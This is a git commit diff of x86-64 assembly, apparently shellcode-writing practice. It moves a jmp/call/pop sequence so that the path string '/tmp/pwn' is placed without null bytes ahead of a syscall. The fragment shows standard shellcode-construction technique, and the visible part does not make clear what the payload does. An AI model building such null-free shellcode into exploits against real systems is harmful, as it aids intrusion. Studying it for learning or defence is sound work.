Add jmp to avoid /0

This commit is contained in:
Yorick Barbanneau 2023-03-30 01:24:39 +02:00
parent b87162a19b
commit b3ba6f0a8b

View file

@ -2,9 +2,7 @@
.globl _start
_start:
call p
.asciz "/tmp/pwn"
jmp indirect
p:
xorq %rdi, %rdi
@ -26,3 +24,7 @@ p:
pop %rax
lea -1(%rax), %rax
syscall
indirect:
call p
.asciz "/tmp/pwn"